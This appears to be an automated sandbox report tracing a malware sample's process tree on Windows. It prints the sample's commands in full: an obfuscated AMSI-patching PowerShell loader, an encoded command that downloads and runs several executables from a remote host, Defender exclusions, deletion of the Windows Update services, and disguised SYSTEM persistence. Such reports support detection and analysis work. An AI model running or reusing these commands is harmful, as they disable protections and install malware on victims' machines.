Reflection.AssemblyName(''+[Char](82)+''+'e'+''+[Char](102)+''+'l'+'e'+[Char](99)+''+[Char](116)+'e'+[Char](100)+'Del'+'e'+'g'+[Char](97)+''+[Char](116)+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+'n'+''+[Char](77)+''+'e'+'m'+[Char](111)+''+[Char](114)+''+[Char](121)+''+[Char](77)+''+'o'+'d'+[Char](117)+'l'+'e'+'',$False).DefineType('M'+[Char](121)+''+[Char](68)+''+[Char](101)+''+[Char](108)+''+[Char](101)+''+[Char](103)+''+[Char](97)+''+[Char](116)+''+[Char](101)+''+[Char](84)+''+[Char](121)+''+'p'+'e',''+'C'+''+'l'+''+[Char](97)+''+[Char](115)+''+'s'+''+','+'Publ'+'i'+''+'c'+''+','+'Se'+'a'+''+[Char](108)+''+[Char](101)+''+'d'+','+[Char](65)+''+'n'+''+[Char](115)+''+'i'+''+[Char](67)+''+'l'+''+[Char](97)+''+[Char](115)+''+[Char](115)+''+','+''+[Char](65)+'utoC'+[Char](108)+''+[Char](97)+''+'s'+''+'s'+'',[MulticastDelegate]);$sZltHPKNvtG.DefineConstructor('R'+[Char](84)+''+[Char](83)+'pecia'+[Char](108)+''+[Char](78)+'a'+[Char](109)+''+'e'+''+[Char](44)+''+'H'+''+[Char](105)+''+'d'+''+[Char](101)+''+[Char](66)+''+[Char](121)+''+'S'+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+[Char](80)+''+'u'+''+[Char](98)+'li'+[Char](99)+'',[Reflection.CallingConventions]::Standard,$ibXLGyZlevDZCV).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+'n'+'t'+'i'+''+'m'+''+[Char](101)+''+[Char](44)+'M'+[Char](97)+''+[Char](110)+'a'+[Char](103)+''+[Char](101)+''+'d'+'');$sZltHPKNvtG.DefineMethod(''+'I'+''+[Char](110)+''+[Char](118)+''+[Char](111)+''+'k'+'e',''+[Char](80)+''+'u'+'b'+[Char](108)+'i'+[Char](99)+''+','+''+[Char](72)+'i'+[Char](100)+'eB'+[Char](121)+''+[Char](83)+''+[Char](105)+''+'g'+','+[Char](78)+''+[Char](101)+'w'+'S'+''+[Char](108)+'o'+[Char](116)+','+[Char](86)+''+'i'+''+[Char](114)+'t'+'u'+''+[Char](97)+'l',$hOKkiCfJpc,$ibXLGyZlevDZCV).SetImplementationFlags(''+'R'+'unt'+'i'+''+[Char](109)+''+[Char](101)+','+[Char](77)+''+'a'+''+[Char](110)+''+[Char](97)+'ge'+[Char](100)+'');Write-Output $sZltHPKNvtG.CreateType();}$llpWLWQAUkRGX=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+[Char](121)+''+[Char](115)+''+'t'+'e'+[Char](109)+''+[Char](46)+'d'+[Char](108)+''+[Char](108)+'')}).GetType(''+[Char](77)+''+[Char](105)+''+'c'+''+[Char](114)+''+'o'+'s'+'o'+''+'f'+'t'+[Char](46)+''+[Char](87)+'i'+[Char](110)+''+[Char](51)+''+'2'+''+[Char](46)+''+[Char](85)+'nsaf'+[Char](101)+''+[Char](108)+''+'l'+''+'p'+''+[Char](87)+''+[Char](76)+''+[Char](87)+''+[Char](81)+'A'+[Char](85)+''+[Char](107)+''+[Char](82)+'G'+'X'+'');$ZLCGLogavkhKMm=$llpWLWQAUkRGX.GetMethod('Z'+[Char](76)+''+[Char](67)+'G'+[Char](76)+'o'+'g'+''+'a'+'v'+[Char](107)+'h'+[Char](75)+'Mm',[Reflection.BindingFlags]''+[Char](80)+''+'u'+''+'b'+'l'+[Char](105)+''+[Char](99)+','+'S'+'t'+'a'+''+[Char](116)+''+[Char](105)+''+[Char](99)+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$IbmJdWCwsqdGolAWlSi=DpneBNkanGDI @([String])([IntPtr]);$UXkpILAYyhcBmsmCxSQBqI=DpneBNkanGDI @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$QVwlrjxlbgz=$llpWLWQAUkRGX.GetMethod('G'+'e'+'tMo'+[Char](100)+''+'u'+''+[Char](108)+''+'e'+''+[Char](72)+''+'a'+''+[Char](110)+'d'+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object]('k'+[Char](101)+'r'+'n'+'el'+[Char](51)+'2.dl'+'l'+'')));$WNoKSFTGOmqDcL=$ZLCGLogavkhKMm.Invoke($Null,@([Object]$QVwlrjxlbgz,[Object](''+[Char](76)+''+[Char](111)+''+[Char](97)+'dL'+'i'+''+[Char](98)+''+'r'+''+[Char](97)+'r'+[Char](121)+''+[Char](65)+'')));$nbsLFanTwIkUkEzyR=$ZLCGLogavkhKMm.Invoke($Null,@([Object]$QVwlrjxlbgz,[Object](''+[Char](86)+''+'i'+''+[Char](114)+'t'+[Char](117)+''+[Char](97)+''+[Char](108)+'P'+[Char](114)+'o'+'t'+''+[Char](101)+'ct')));$HAkPTRW=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WNoKSFTGOmqDcL,$IbmJdWCwsqdGolAWlSi).Invoke('a'+[Char](109)+'s'+[Char](105)+''+[Char](46)+'d'+[Char](108)+'l');$uBpbnJuLuEHvNgCqv=$ZLCGLogavkhKMm.Invoke($Null,@([Object]$HAkPTRW,[Object](''+[Char](65)+'m'+[Char](115)+''+'i'+'S'+'c'+''+[Char](97)+''+'n'+''+[Char](66)+''+'u'+''+'f'+''+'f'+''+[Char](101)+''+[Char](114)+'')));$hLGAirgbyB=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($nbsLFanTwIkUkEzyR,$UXkpILAYyhcBmsmCxSQBqI).Invoke($uBpbnJuLuEHvNgCqv,[uint32]8,4,[ref]$hLGAirgbyB);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$uBpbnJuLuEHvNgCqv,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($nbsLFanTwIkUkEzyR,$UXkpILAYyhcBmsmCxSQBqI).Invoke($uBpbnJuLuEHvNgCqv,[uint32]8,0x20,[ref]$hLGAirgbyB);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+'O'+[Char](70)+''+[Char](84)+''+[Char](87)+''+[Char](65)+'R'+[Char](69)+'').GetValue(''+'d'+'ialer'+[Char](115)+''+[Char](116)+''+[Char](97)+'g'+'e'+''+'r'+'')).EntryPoint.Invoke($Null,$Null)2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1652 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:3320
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1180
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵PID:1216
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1304
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1316
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:2468
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1336
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1344
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1516
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1352
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1540
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1596
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s FontCache1⤵PID:1608
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵PID:1728
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵PID:1860
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵PID:1956
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:1904
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1768
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:1292
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1964
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:2056
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵PID:2628
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:4244
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -s W32Time1⤵PID:2392
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵PID:4364
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:820
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:5012
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C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵PID:4952
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4632
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:4420
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3696
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3440
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k WerSvcGroup1⤵PID:3180
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 4816 -ip 48162⤵PID:2132
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 484 -p 4816 -ip 48162⤵PID:1748
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 4816 -ip 48162⤵PID:4584
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 4480 -ip 44802⤵PID:2952
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵PID:2720
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p1⤵PID:2660
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:3268
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:384
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:2744
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C:\Users\Admin\AppData\Local\Temp\b3e4aa7167322e62d0ab56f0ba11c3adfef87eb1.exe"C:\Users\Admin\AppData\Local\Temp\b3e4aa7167322e62d0ab56f0ba11c3adfef87eb1.exe"2⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:4816 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"3⤵
- Suspicious use of WriteProcessMemory
PID:3332 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdABhACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYwBqAHIAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBjAHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgB4AHoAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcALAAgADwAIwBhAGEAYQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGMAZAB6ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGwAcwBqACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcAKQApADwAIwB3AGQAcwAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGoAYgBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQB6AGEAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAYwBlAGMAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBtAGIAegAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAHkAcwBBAHAAcAAuAGUAeABlACcALAAgADwAIwBqAHcAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGYAcQB0ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHcAYgBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApACkAPAAjAHUAYQB3ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcALAAgADwAIwBoAGkAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHQAcAB2ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHQAcgBzACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcAKQApADwAIwBqAGwAcAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBkAGMAcgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAZAB3AHAAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApADwAIwBoAHgAZwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBwAGcAeQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAbQBkAGYAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQA8ACMAdgBoAGUAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZQBxAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGoAbABkACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApADwAIwB5AGkAbQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBjAGEAZQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAcABrAGoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwBtAGEAcgB0AEQAZQBmAFIAdQBuAC4AZQB4AGUAJwApADwAIwBoAGYAZAAjAD4A"4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4500 -
C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"5⤵
- Executes dropped EXE
PID:3924
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C:\Users\Admin\AppData\Local\Temp\new2.exe"C:\Users\Admin\AppData\Local\Temp\new2.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:4480 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"6⤵PID:2592
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4480 -s 5086⤵
- Program crash
PID:2344
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C:\Users\Admin\AppData\Local\Temp\SysApp.exe"C:\Users\Admin\AppData\Local\Temp\SysApp.exe"5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:2284
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C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"5⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:220
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4816 -s 2523⤵
- Program crash
PID:4160
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4816 -s 2563⤵
- Program crash
PID:2144
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4816 -s 2803⤵
- Program crash
PID:1476
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3400
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
- Suspicious use of WriteProcessMemory
PID:3608 -
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
PID:1156
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C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
PID:2604
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C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
PID:2108
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C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
PID:404
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C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
PID:4852
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵PID:3956
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵PID:4068
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
- Modifies security service
PID:3564
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵PID:4856
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵PID:4772
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thpqznhs#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsDefenderSmartScreenQC' /tr '''C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsDefenderSmartScreenQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderSmartScreenQC" /t REG_SZ /f /d 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:812
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C:\Windows\System32\dialer.exeC:\Windows\System32\dialer.exe2⤵PID:4968
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2648
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2608
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵PID:2596
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C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵PID:2528
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵PID:2508
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:2488
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2336
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2328
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2184
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:2148
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵PID:3708
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
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Filesize
19KB
MD5a225a586dda3d6b9ed3b07bc42dd1f9c
SHA1cc79b1bc1cc8cac4aea683112d52ef917ca75c7a
SHA2561fa6c3ce36d4cb069d7366678e76c2a0afbcc0fc443cedc6372e60e609b497ae
SHA5124be0b53c0ec313acd79b5ee6d917fd8da8e0f35f4aaa0f833e3dd5be1129455597f2024a62425d6c8d63fcef55c29621a4a057d9c88fc9179c92b7e7abc5e8b7
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Filesize
948B
MD5a7ce8cefc3f798abe5abd683d0ef26dd
SHA1b7abb625174a48db3221bf0fee4ecdbc2bd4ee1e
SHA2565e97dee013313bedacd578551a15e88ed87b381ed8f20755cb929b6358fd020a
SHA512c0d1821252d56e7b7d5b5d83891673f279f67638da1f454fb45e0426315cf07cc54c6df2cf77c65c11bcb3a1e4f574f76a3fb9059fde94951ba99d3de0e98d64
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Filesize
1.4MB
MD5bb86a343080f9f4696c250ef31a18d9d
SHA143b2193dcb1d56eac73ba88a7b461822074192d6
SHA256095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
SHA51224807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560
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Filesize
1.4MB
MD5bb86a343080f9f4696c250ef31a18d9d
SHA143b2193dcb1d56eac73ba88a7b461822074192d6
SHA256095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
SHA51224807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560
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Filesize
3.7MB
MD5f5c51e7760315ad0f0238d268c03c60e
SHA185ebaaa9685634143a72bc82c6e7df87a78eed4c
SHA256ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
SHA512d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35
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Filesize
3.7MB
MD5f5c51e7760315ad0f0238d268c03c60e
SHA185ebaaa9685634143a72bc82c6e7df87a78eed4c
SHA256ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
SHA512d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35
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Filesize
1.4MB
MD5b6bbab9f72c88d07b484cc339c475e75
SHA1f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA256dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
SHA5121ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
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Filesize
1.4MB
MD5b6bbab9f72c88d07b484cc339c475e75
SHA1f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA256dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
SHA5121ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
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Filesize
674KB
MD5e479ecb1802253a4c94767c8af306baf
SHA1846bb5d88b91b8aa17bdb58eaf246b10e6586402
